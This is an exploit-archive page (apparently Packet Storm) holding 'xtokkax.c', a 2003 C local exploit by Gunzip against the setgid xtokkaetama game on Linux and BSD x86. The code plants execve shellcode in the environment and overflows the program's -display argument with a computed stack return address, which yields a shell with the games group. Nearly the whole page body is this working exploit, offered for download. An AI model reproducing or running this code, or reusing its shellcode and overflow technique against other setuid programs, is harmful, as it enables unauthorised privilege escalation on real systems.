exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

xtokkax.c

xtokkax.c
Posted Aug 5, 2003
Authored by Gunzip

Linux and BSD x86 local exploit for xtokkaetama that gives egid of games.

tags | exploit, x86, local
systems | linux, bsd
SHA-256 | b520af024cb9003b4e1a42a73b3409332209fffab5a67095c1e394f14a9b173b

xtokkax.c

Change Mirror Download
/*
** Linux/BSD x86 exploit vs xtokkaetama (c) gunzip
** I don't think you can do something nasty
** with egid=games however (so this is mostly useless)
** just written with the idea to make expl targetless.
** mostly ripped from gera's paper about bof :-o
** http://members.xoom.it/gunzip/
** gunzip@ircnet <techieone@softhome.net>
**
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>

#define SIZE 20
#define PATH "/usr/games/xtokkaetama"

unsigned long STACKBASE()
{
__asm__ ( "movl %esp, %eax" );
}

/**
** linux and bsd execve shellcode by me
**/
unsigned char shellcode[] =
"\x31\xc0\x99\x52\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x52\x53\x89\xe1\x52\x51\x53\x54"
"\x8c\xe0\x85\xc0\x75\x04\xb0\x0b"
"\xeb\x02\xb0\x3b\xcd\x80";

int main( int argc, char *argv[] )
{
unsigned long i, ret ;
unsigned char buf[ SIZE + 1 ],
* env[]= { shellcode, NULL },
* run[]= { PATH, "-display", buf, NULL };

ret = ( ( STACKBASE() & 0xffff0000 ) | 0xfffa )
- strlen(PATH) - strlen(shellcode) ;

memset( buf, 0, sizeof(buf) );

for( i = 0; i < sizeof(buf) - 4; i += 4 )
*(unsigned long *)&buf[i] = ret;

if( execve( run[0], (char **)run, (char **)env ) ) {
perror( "execve" );
exit( -1 );
}
}
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close